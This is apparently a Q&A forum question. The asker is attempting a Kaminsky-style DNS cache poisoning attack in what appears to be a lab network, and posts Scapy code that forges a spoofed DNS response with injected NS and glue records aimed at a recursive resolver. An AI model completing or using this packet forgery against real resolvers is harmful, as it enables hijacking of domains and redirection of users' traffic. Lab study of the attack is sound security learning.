title: Build DNS packet with scapy
body: <p>I'm trying to perform the "Dan's Shenanigans" described in <a href="http://unixwiz.net/techtips/iguide-kaminsky-dns-vuln.html" rel="nofollow noreferrer">this tutorial</a>, I succesfully sniff the root DNS ip, the port and the query id, but when I try to build the response packet in order to poison the cache of the recursive server I receive a malformed packet as error on wireshark. This is the code for building the packet:</p>
  
  <pre><code>pkt = (IP( src = sniffed_ip, dst='192.168.56.20')
         / UDP(sport=53, dport=sniffed_port)
         / DNS(id=query_id, qr=1, nscount=1, an=None, arcount=1,
               qd=DNSRR(rrname='bankofsteve.com', rdata='192.168.56.1', type="A"),
               ns=(DNSRR(rrname = 'bankofsteve.com', type='NS', ttl=36000, rdata='ns.bankofallan.co.uk.')),
               ar=(DNSRR(rrname='ns.bankofsteve.com.', type="A", ttl=36000, rdata='192.168.56.1'))))
  </code></pre>
  
  <p>'192.168.56.1' is the ip of the bad dns server while '192.168.56.20' is the ip of the target recursive server</p>
  
  <p>This is my error:
  <a href="https://i.stack.imgur.com/OweJV.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/OweJV.png" alt="enter image description here"></a>
  Thanks in advance for helping me</p>